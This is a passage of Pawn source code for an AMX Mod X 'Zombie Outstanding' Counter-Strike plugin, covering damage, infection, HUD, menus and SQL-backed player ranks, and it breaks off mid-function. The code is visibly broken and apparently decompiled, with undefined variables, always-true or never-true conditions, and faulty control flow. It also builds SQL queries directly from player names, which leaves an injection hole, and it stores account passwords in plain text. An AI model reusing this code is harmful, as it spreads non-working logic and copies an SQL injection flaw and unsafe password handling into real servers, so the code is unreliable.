public OnPassword(iPlayer, String:cPassword[])
{
    formatex(g_cPasswords[iPlayer], 31, "%s", cPassword);
    return 0;
}

OnNameChanged(iPlayer, cName[])
{
	static Float:fCurrentTime;
	fCurrentTime = get_gametime();
	new var1;
	if (!g_bRanked[iPlayer] || floatsub(fCurrentTime, g_fLastNameChanged[iPlayer]) < 4.0)
	{
		server_cmd("kick #%d  Stop changing your name so fast!", get_user_userid(iPlayer));
	}
	else
	{
		if (g_bRanked[iPlayer])
		{
			g_bRanked[iPlayer] = 0;
			formatex(g_cName[iPlayer], 32, "%s", cName);
			static cPlayer[3];
			num_to_str(iPlayer, cPlayer, 3);
			formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
			 if (fCurrentTime - g_fLastQuery >= 2.0)
			{
				SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, "");
				g_fLastNameChanged[iPlayer] = fCurrentTime;
				g_fLastQuery = fCurrentTime;
			}
            set_task(g_fLastQuery + 2.0 - fCurrentTime, "TaskPreparePlayerChanged", iPlayer, "", 0, "", 0);
            g_fLastQuery = g_fLastQuery + 2.0;
            g_fLastNameChanged[iPlayer] = fCurrentTime;
            g_bRanked[iPlayer] = 0;
		}
	}
    set_task(5.0, "TaskCheckName", iPlayer, "", 0, "", 0);
	return 0;
}

public TaskCheckName(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (g_bRanked[iPlayer])
		{
			check_for_swear(iPlayer);
		}
		set_task(5.00, "TaskCheckName", iPlayer, "", 0, "", 0);
	}
	return 0;
}

public CmdMap(iPlayer)
{
	if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 55))
	{
		static cMap[32];
		read_argv(1, cMap, 32);
		if (is_map_valid(cMap))
		{
			set_cvar_num("mp_timelimit", 4096);
			set_cvar_string("nextmap", cMap);
            set_task(1.0, "TimerChangeMap", 0, "", 0, "", 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 changed map to^4 %s", g_cName[iPlayer], cMap);
		}
		console_print(iPlayer, "[Zombie Outstanding] Map %s is not valid!", cMap);
	}
	return 0;
}

public OnTraceAttack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damage_type)
{
	if (victim == attacker || !is_user_valid_connected(attacker))
		return 1;
	
	if (g_bRoundStart || g_bRoundEnd )
		return 4;
	
	if (g_bZombie[attacker] == g_bZombie[victim])
		return 4;
	
	if (g_bNoDamage [victim])
		return 4;
	
	if (!g_bZombie[victim] || !(damage_type & DMG_BULLET))
		return 1;
	
	if (g_iPlayerType[victim] & 1 && 0.25 == 0.0)
		return 1;

	if (g_iPlayerType[victim] & 2 && 0.25 == 0.0)
		return 1;
	
	if ((g_bGolden[attacker] && g_iWeapon[attacker] == 28) || (g_bGoldenDeagle[attacker] && g_iWeapon[attacker] == 26))
	{
		Tracers(attacker);
		LightningTracers(attacker);
	}	
	
	static ducking
	ducking = pev(victim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
	
	if (ducking && 0.25  == 0.0)
		return 1;
	
	static origin1[3], origin2[3]
	get_user_origin(victim, origin1)
	get_user_origin(attacker, origin2)
	
	if (get_distance(origin1, origin2) > 500)
		return 1;
	
	static Float:velocity[3]
	pev(victim, pev_velocity, velocity)
	
	xs_vec_mul_scalar(direction, damage, direction)
	
	xs_vec_mul_scalar(direction, kb_weapon_power[g_iWeapon[attacker]], direction)

	if (ducking)
	xs_vec_mul_scalar(direction, 0.25, direction)
	
	if (g_iPlayerType[victim] & 1)
	xs_vec_mul_scalar(direction, 0.25, direction)
	
	else if (g_iPlayerType[victim] & 2)
	xs_vec_mul_scalar(direction, 0.15, direction)
	
	else
	xs_vec_mul_scalar(direction, g_fZombieKnockbacks[g_iZombieClass[victim]], direction)
	
	xs_vec_add(velocity, direction, direction)
	
	direction[2] = velocity[2]
	
	set_pev(victim, pev_velocity, direction)
	
	return 1;
}

public OnTouch(iWeapon, id)
{
	if ( !is_user_valid_connected ( id ) ) return 1;
	
	if ( g_bZombie [id] || ( ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8) && !g_bFake [id] ) ) return 4;
	
	return 1;
}

public OnTakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
{
	if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return 1;
	
	if ( g_bRoundStart || g_bRoundEnd ) return 4;
	
	if ( g_bNoDamage [Victim] ) return 4;

	if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return 4;
	
	if (!g_bZombie[Attacker])
	{
        if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
        {
            Damage = 3000.0;
            SetHamParamFloat(4, Damage);
        }
        else
        {
            if (g_iPlayerType[Attacker])
            {
                Damage *= 0.75;
                SetHamParamFloat(4, Damage);
            }
            if (g_bDoubleDamage[Attacker])
            {
                Damage *= 2.0;
                SetHamParamFloat(4, Damage);
            }
            if (((g_iWeapon[Attacker] == 28 && g_bGolden[Attacker]) || (g_iWeapon[Attacker] == 26 && g_bGoldenDeagle[Attacker])))
            {
				Damage *= 2.0;
				SetHamParamFloat(4, Damage);
            }			
            g_fDamage[Attacker] += floatround(Damage);
            while (g_fDamage[Attacker] > 500.0)
            {
                g_iPacks[Attacker]++;
                g_fDamage[Attacker] -= 500.0;
            }
            if (++g_iPosition[Attacker] == 8)
            {
				g_iPosition[Attacker] = 0;
            }
            set_hudmessage(0, 40, 80, g_flCoords[g_iPosition[Attacker]][0], g_flCoords[g_iPosition[Attacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
            ShowSyncHudMsg(Attacker, "%0.0f", Damage);		
        }
        return 1;
	}
	
	if ( DamageType & 1<<24 ) return 4;
	
	if ( g_iPlayerType[Attacker] & 1 )
	{
		if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
		
		return 1;
	}
	else if ( g_iPlayerType[Attacker] & 2 )
	{
		if ( Inflictor == Attacker ) SetHamParamFloat ( 4, 250.0 );
		
		return 1;
	}
	
	if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1) return 1;	

	static Float: Armor; pev ( Victim, pev_armorvalue, Armor );
	static iHumans;
	static iZombies;

	if ( Armor > 0.0 )
	{
		client_cmd(Victim, "spk ZombieOutstanding/armor_hit");
		
		set_pev ( Victim, pev_armorvalue, floatmax ( 0.0, Armor - Damage ) );
			
		return 4;
	}	
	MakeZombie(Attacker, Victim, false, false, false);	
	iZombies = GetZombies();
	iHumans = GetHumans();
	if (iZombies < iHumans)
	{
		if (iZombies < 4 && iZombies && g_bZombie[iVictim] && !g_bZombie[iAttacker])
		{
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
			ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
		}
	}
	else
	{
		if (iZombies > iHumans)
		{
			if (iHumans < 4 && iHumans && g_bZombie[iAttacker] && !g_bZombie[iVictim])
			{
				set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
				ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
			}
		}
	}
	return 4;
}

public OnPlayerJump(iPlayer)
{
    if (g_bAlive[iPlayer])
    {
        new nbut = get_user_button(iPlayer)
        new obut = get_user_oldbutton(iPlayer)
		
        if (g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && g_iZombieClass[iPlayer] == 3)
        {
            if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && !g_iJumps[iPlayer])
            {
                new Float:fVelocity[3];
                entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
                fVelocity[2] = random_float(265.0, 285.0);
                entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
                g_iJumps[iPlayer]++;
            }
            if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
            {
                g_iJumps[iPlayer] = 0;
            }
        }
        if (!g_bZombie[iPlayer] && g_iMaxJumps[iPlayer])
        {
            if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iMaxJumps[iPlayer] - 1)
            {
                new Float:fVelocity[3];
                entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
                fVelocity[2] = random_float(265.0, 285.0);
                entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
                g_iJumps[iPlayer]++;
            }
            if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
            {
                g_iJumps[iPlayer] = 0;
            }
        }
    }
    return 0;
}


GetLastHuman()
{
	new i = 1;
	while (i <= g_iMaxClients)
	{
		if (g_bAlive[i] && g_bConnected[i] && !g_bZombie[i])
		{
			return i;
		}
		i++;
	}
	return 0;
}

GetLastZombie()
{
	new i = 1;
	while (i <= g_iMaxClients)
	{
		if (g_bAlive[i] && g_bConnected[i] && g_bZombie[i])
		{
			return i;
		}
		i++;
	}
	return 0;
}

public OnKilled(iVictim, iAttacker, iGibs)
{
	static iHumans;
	static iZombies;
	g_bFlash[iVictim] = 1;
	g_bGoldenDeagle[iVictim] = 0;
	g_bGolden[iVictim] = 0;
	g_bKilling[iVictim] = 0;
	g_bFlashEnabled[iVictim] = 1;
	g_bTryder[iVictim] = 0;
	g_bUnlimitedClip[iVictim] = 0;
	g_bFrozen[iVictim] = 0;
	set_frozen(iVictim, 0);
	remove_task(iVictim + 350, 0);
	g_bAlive[iVictim] = 0;
	iZombies = GetZombies();
	iHumans = GetHumans();
	if (iZombies < iHumans)
	{
		if (iZombies < 4 && iZombies && g_bZombie[iVictim] && iAttacker > 0 && iAttacker <= g_iMaxClients && !g_bZombie[iAttacker])
		{
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
			ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
		}
	}
	else
	{
		if (iZombies > iHumans)
		{
			if (iHumans < 4 && iHumans && iAttacker > 0 && iAttacker <= g_iMaxClients && g_bZombie[iAttacker] && !g_bZombie[iVictim])
			{
				set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1)
				ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans );
			}
		}
	}
	if (iZombies == 1 && iHumans == 1)
	{
		set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iVersusSync, "%s vs %s", g_cName[GetLastHuman()], g_cName[GetLastZombie()]);
	}
	if ( g_bZombie [iVictim] || !g_bZombie [iVictim])
	{
		if (g_bZombie[iVictim])
		{
			remove_task(iVictim + 200, 0);
		}
		return 0;
	}
	if (!g_bZombie[iAttacker])
	{
		if (g_iPlayerType[iAttacker] & 8)
		{
			static Origin [3]; get_user_origin ( Victim, Origin );			
			message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
			write_byte ( TE_LAVASPLASH ) ;
			write_coord ( Origin [0] );
			write_coord ( Origin [1] );
			write_coord ( Origin [2] - 26 ); 
			message_end (  );
			if (random_num(1, 4) == 1)
			{
				g_iPoints[Attacker] += 1;
				set_hudmessage(255, 180, 30, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
				ShowSyncHudMsg(Attacker, g_iRegenerationSync, "== SNIPER ==^n!!!Randomly got +1 point!!!^n[25% chance per zombie]");
			}
		}
		else
		{
			g_iPacks[Attacker]++;
			if (g_iPlayerType[Attacker])
			{
				g_iPoints[Attacker]++;
			}
			else
			{
				g_iPoints[Attacker] += 2;
			}
			remove_task(Victim + 200, 0);
		}
		if (g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
		}
	}
	else
	{
		g_iPacks[iAttacker] += 2;
		if (!g_iPlayerType[iAttacker])
		{
			g_iPoints[iAttacker]++;
		}
		g_iScore[iAttacker] += 12;
		g_iScore[iVictim] -= 20;
		if (g_iZombieClass[iAttacker] == 6 && !g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
			message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, Attacker)
			write_short(4096)
			write_short(2048)
			write_short(0)
			write_byte(255)
			write_byte(0)
			write_byte(0)
			write_byte(255)
			message_end()	
		}
		if (g_iPlayerType[iAttacker])
		{
			SetHamParamInteger(3, 2);
			g_Hidden[iVictim] = 1;
		}
	}
	g_iKills[iAttacker]++;
	g_iDeaths[iVictim]++;
	g_iKillsThisRound[iAttacker]++;
	SaveRank(iAttacker);
	SaveRank(iVictim);
	return 0;
}

public OnGrenadeThink(iEntity)
{
	if (get_dmgtime(iEntity) > get_gametime())
	{
		return 1;
	}
	switch (pev(iEntity, 5))
	{
		case 1:
		{
			Infection_Explode(iEntity);
			return 4;
		}
		case 2:
		{
			Fire_Explode(iEntity);
			return 4;
		}
		case 3:
		{
			Freeze_Explode(iEntity);
			return 4;
		}
		case 4:
		{
			Explosion_Explode(iEntity);
			return 4;
		}
		case 5:
		{
			Killing_Explode(iEntity);
			return 4;
		}
		default:
		{
		}
	}
	return 1;
}

public OnPlayerDuck(iPlayer)
{
	static Float: CoolDown, Float: CurrentTime;
	
	if ( g_bZombie [id] && g_iPlayerType[id] & 1 )
	{	
		CoolDown = 1.0;
	}
	else return;
	
	CurrentTime = get_gametime (  );
	
	if ( CurrentTime - g_fLastLeapTime [id] < CoolDown ) return;
	
	if ( !g_bFake [id] && !( pev ( id, pev_button ) & ( IN_JUMP | IN_DUCK ) == ( IN_JUMP | IN_DUCK ) ) ) return;

	if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) || GetEntitySpeed ( id ) < 80 ) return;
	
	static Float: Velocity [3];

	velocity_by_aim ( id, 500, Velocity ) 
	
	Velocity [2] = 300.0;
	
	set_pev ( id, pev_velocity, Velocity );
	
	g_fLastLeapTime [id] = CurrentTime;
}

public OnPreFrame(iPlayer)
{
    if (g_bAlive[iPlayer])
    {
        if (g_bFrozen[iPlayer])
        {
            set_speed(iPlayer, 0.0);
        }
        else if (g_bTryder[iPlayer])
        {
            set_gravity(iPlayer, 0.5);
            set_speed(iPlayer, 250.0);
        }
        else if (g_bZombie[iPlayer])
        {
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
                set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
            }
            else
            {
                if (g_iPlayerType[iPlayer] & 1)
                {
                    set_speed(iPlayer, 250.0);
                    set_gravity(iPlayer, 0.5);
                }
                if (g_iPlayerType[iPlayer] & 2)
                {
                    set_speed(iPlayer, 600.0);
                    set_gravity(iPlayer, 0.4);
                }
            }
        }
		else
		{
            if (!g_iPlayerType[iPlayer])
            {
                set_speed(iPlayer, 240.0);
                set_gravity(iPlayer, 1.0);
            }
            if (g_iPlayerType[iPlayer] & 4)
            {
                set_speed(iPlayer, 250.0);
                set_gravity(iPlayer, 0.85);
            }
            if (g_iPlayerType[iPlayer] & 8)
            {
                set_speed(iPlayer, 240.0);
                set_gravity(iPlayer, 1.1);
            }
		}
    }
    return 0;
}

public Rocket_Touch( iOwner, iRocket )
{
	if( g_bConnected[ iOwner ] )
	{
		static iPlayers[ 32 ], iNum, i;
		get_players( iPlayers, iNum, "a" );

		for( i = 0; i < iNum; i++ )
		{
			if( g_bZombie[iPlayers[i]])
			{
				static Float: fDistance, Float: fDamage;
				fDistance = entity_range( iPlayers[ i ], iRocket );

				if( fDistance < 320.0 )
				{
					fDamage = 1050.0 - fDistance;
				
					static Float: fVelocity[ 3 ];
					pev( iPlayers[ i ], pev_velocity, fVelocity );
					xs_vec_mul_scalar( fVelocity, 2.75, fVelocity );
					fVelocity[ 2 ] *= 1.75;
					set_pev( iPlayers[ i ], pev_velocity, fVelocity );
					
					message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, iPlayers[ i ] );
					write_short( 4096 );
					write_short( 6096 );
					write_short( 0x0000 );
					write_byte( 220 );
					write_byte( 0 );
					write_byte( 0 );
					write_byte( fDistance < 220 ? 215 : 205 );
					message_end( );
					
					message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, iPlayers[ i ] );
					write_short( 4096 * 100 );
					write_short( 4096 * 500 ); 
					write_short( 4096 * 200 );
					message_end( );
				
					if( float( get_health( iPlayers[ i ] ) ) - fDamage > 0.0 )
						ExecuteHamB( Ham_TakeDamage, iPlayers[ i ], iRocket, iOwner, fDamage, DMG_BLAST );
						
					else ExecuteHamB( Ham_Killed, iPlayers[ i ], iOwner, 2 );
					
					if(g_iPlayerType[iPlayers[i]] & 1 && g_iPlayerType[iPlayers[i]] & 2 )
						fDamage *= 0.75;

					client_print_color(iOwner, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[ iPlayers[ i ] ], fDamage );
				}
			}
		}
	}
}

public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
	if (g_bZombie[iOwner])
	{
		send_beam_follow(iGrenade, 0, 250, 0, 200);
		set_pev(iGrenade, pev_targetname, 1);
		return 0;
	}
	switch (iGrenadeType)
	{
		case 4:
		{
			if (!g_bKilling[iOwner])
			{
				send_beam_follow(iGrenade, 127, 0, 255, 200);
				set_pev(iGrenade, pev_targetname, 2);
			}
			else
			{
				send_beam_follow(iGrenade, 127, 0, 255, 200);
				set_pev(iGrenade, pev_targetname, 5);
				g_bKilling[iOwner] = 0;
			}
		}
		case 9:
		{
			send_beam_follow(iGrenade, 255, 0, 0, 200);
			set_pev(iGrenade, pev_targetname, 4);
		}
		case 25:
		{
			send_beam_follow(iGrenade, 0, 100, 200, 200);
			set_pev(iGrenade, pev_targetname, 3);
		}
		default:
		{
		}
	}
	return 0;
}

public TaskCheckFlash(iPlayer)
{
	if (!g_bConnected[iPlayer] || g_bAlive[iPlayer])
	{
		return 0;
	}
	g_bFlashEnabled[iPlayer] = 1;
	g_bFlash[iPlayer] = 1;
	remove_task(iPlayer + 350, 0);
	set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
	return 0;
}

InfectionEffects ( id )
{
	static Origin [3]; get_user_origin ( id, Origin );
	
	if ( !g_bFrozen [id] )
	{	
		message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
		write_short(4096)
		write_short(2048)
		write_short(0)
		write_byte(255)
		write_byte(0)
		write_byte(0)
		write_byte(255)
		message_end()	
	}
	
	message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("Damage"), _, id)
	write_byte(0)
	write_byte(0)
	write_long(DMG_NERVEGAS)
	write_coord(0)
	write_coord(0)
	write_coord(0)
	message_end()	
	
	message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenShake"), _, id)
	write_short(150000)
	write_short(25000)
	write_short(135000)
	message_end()	
	
	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_IMPLOSION );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin[2] );
	write_byte ( 150 );
	write_byte ( 32 );
	write_byte ( 3 );
	message_end (  );
	 
	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_PARTICLEBURST );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2] );
	write_short ( 50 );
	write_byte ( 70 );
	write_byte ( 3 );
	message_end (  );
	
	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_DLIGHT );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2] );
	write_byte ( 20 );
	write_byte ( 240 );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 2 );
	write_byte ( 0 );
	message_end (  );
}

AddCommas ( iNum , szOutput[] , iLen )
{
    new szTmp [17] , iOutputPos , iNumPos , iNumLen;

    iNumLen = num_to_str( iNum , szTmp , charsmax( szTmp ) );
    
    if ( iNumLen <= 3 )
    {
        iOutputPos += copy ( szOutput [iOutputPos] , iLen , szTmp );
    }
    else
    {
        while ( ( iNumPos < iNumLen ) && ( iOutputPos < iLen ) ) 
        {
            szOutput[ iOutputPos++ ] = szTmp[ iNumPos++ ];
            
            if ( ( iNumLen - iNumPos ) && !( ( iNumLen - iNumPos ) % 3 ) ) 

            szOutput[ iOutputPos++ ] = ',';
        }
            
        szOutput[ iOutputPos ] = EOS;
    }
    return iOutputPos;
}

do_screen_fade( id, Float:fadeTime, Float:holdTime, red, green, blue, alpha, type = 0x0000 )
{
	new fade, hold;
	fade = floatround( fadeTime * 4096.0);
	hold = floatround( holdTime * 4096.0);
	message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, id );
	write_short( fade );
	write_short( hold );
	write_short( type );
	write_byte( red );
	write_byte( green );
	write_byte( blue );
	write_byte( alpha );
	message_end( );

}

public MessageHealth(iMessage, iDestination, iEntity)
{
	static iHealth;
	iHealth = get_msg_arg_int(1);
	if (iHealth > 255)
	{
		if (!(iHealth % 256))
		{
			set_health(iEntity, get_health(iEntity) + 1);
		}
		set_msg_arg_int(1, get_msg_argtype(1), 255);
	}
	return 0;
}

public TaskRemoveMadness(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		g_bNoDamage[iPlayer] = 0;
		if (!g_iPlayerType[iPlayer] & 1)
		{
			remove_glow(iPlayer);
		}
		set_take_damage(iPlayer, 2);
	}
	return 0;
}

public TaskPrintPassword(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type a password for your account!");
	}
	return 0;
}

public TaskWelcome()
{
	client_print_color(0, print_team_grey, "^1****^4 Zombie Outstanding^1 by^3 Hattrick^1 ||^4 Zm.CsDevils.Com^1 ****");
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Press^4 M^1 to open the game menu!");
	return 0;
}

public TaskAmbience()
{
	if (g_iRoundType & 4)
	{
		client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
	}
	else
	{
		client_cmd(0, "spk ZombieOutstanding/ambience_normal");
	}
	return 0;
}

public TaskZombie()
{
	if ((g_iAliveCount = GetAliveCount()))
	{
		g_bRoundStart = false;
		if (g_iRoundsCount > 3)
		{
			StartSwarmMode(false);
		}
		else
		{
			StartNormalMode(0);
		}
	}
	else
	{
		set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
	}
	return 0;
}

public TaskHud(iTask)
{
	static cPoints[15];
	static cPacks[15];
	static cHealth[15];
	static iPlayer;
	iPlayer = iTask + -300;
	if (!g_bAlive[iPlayer])
	{
		iPlayer = iuser2(iPlayer);
		if (!g_bAlive[iPlayer])
		{
			return 0;
		}
	}
	if (iTask + -300 != iPlayer)
	{
		AddCommas(get_health(iPlayer), cHealth, 14);
		AddCommas(g_iPacks[iPlayer], cPacks, 14);
		AddCommas(g_iPoints[iPlayer], cPoints, 14);
		set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s%s^n%s, Health: %s  Armor: %d  Packs: %s  Points: %s^nFrom: %s, %s",  g_bVip[iPlayer] ? "(Gold Member ®)" : "", g_cName[iPlayer], g_cClass[iPlayer], cHealth, get_armor(iPlayer), cPacks, cPoints, Data[iPlayer][1], Data[iPlayer][4]);
	}
	else
	{
		AddCommas(get_health(iTask + -300), cHealth, 14);
		AddCommas(g_iPacks[iTask + -300], cPacks, 14);
		AddCommas(g_iPoints[iTask + -300], cPoints, 14);
		new color3;
		if (g_bZombie[iTask + -300])
		{
			color3 = 60;
		}
		else
		{
			color3 = 180;
		}
		new color4;
		if (g_bZombie[iTask + -300])
		{
			color4 = 135;
		}
		else
		{
			color4 = 120;
		}
		new color5;
		if (g_bZombie[iTask + -300])
		{
			color5 = 180;
		}
		else
		{
			color5 = 0;
		}
		set_hudmessage(color5, color4, color3, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "%s, Health: %s  Armor: %d  Packs: %s  Points: %s", g_cClass[iTask + -300], cHealth, get_armor(iTask + -300), cPacks, cPoints);
	}
	return 0;
}

public TaskFlash(iTask)
{
	flash(iTask + -350);
	return 0;
}

public _GameMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
				{
					static cNumber[3];
					static cLine[128];
					static i;
					g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
					i = 0;
					while (i < 25)
					{
						if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
						{
						}
						else
						{
							if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
							{
								formatex(cLine, 128, "%s %s", g_cExtraItems[i], g_cExtraItemsPrices[i]);
								num_to_str(i, cNumber, 3);
								menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
							}
						}
						i += 1;
					}
					menu_display(iPlayer, g_iMenuExtraItems, 0);
				}
				else
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Extra items are unavailable right now...");
				}
			}
			case 1:
			{
				menu_display(iPlayer, g_iMenuZombieClasses, 0);
			}
			case 2:
			{
				static cNumber[3];
				static cLine[128];
				static i;
				g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
				i = 0;
				while (i < 8)
				{
					if (g_iShopItemsTeams[i] == 2 && g_bZombie[iPlayer])
					{
					}
					else
					{
						formatex(cLine, 128, "%s %s", g_cShopItems[i], g_cShopItemsPrices[i]);
						num_to_str(i, cNumber, 3);
						menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
					}
					i += 1;
				}
				menu_display(iPlayer, g_iShopMenu, 0);
			}
			case 3:
			{
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are dead or your are not stuck...");
			}
			case 4:
			{
				static Float:fGameTime;
				static cPlayer[3];
				num_to_str(iPlayer, cPlayer, 3);
				fGameTime = get_gametime();
				if (!g_bEnded && g_bRanked[iPlayer] && floatsub(fGameTime, g_fLastRankQuery) >= 3.0)
				{
					formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
					SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, 3);
					g_fLastRankQuery = fGameTime;
				}
			}
			case 5:
			{
				show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
			}
			default:
			{
			}
		}
	}
	return 0;
}

public _ZombieClasses(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[15];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		g_iZombieNextClass[iPlayer] = iChoice;
		AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
		client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You will be^4 %s^1 after the next infection!", g_cZombieClasses[iChoice]);
        client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], floatmul(100.0, g_fZombieGravities[iChoice]), floatmul(100.0, g_fZombieKnockbacks[iChoice]), "%");
	}
	return 0;
}

public _ExtraItems(iPlayer, iMenu, iItem)
{
	if (g_fLastQuery < 99999.0 && g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
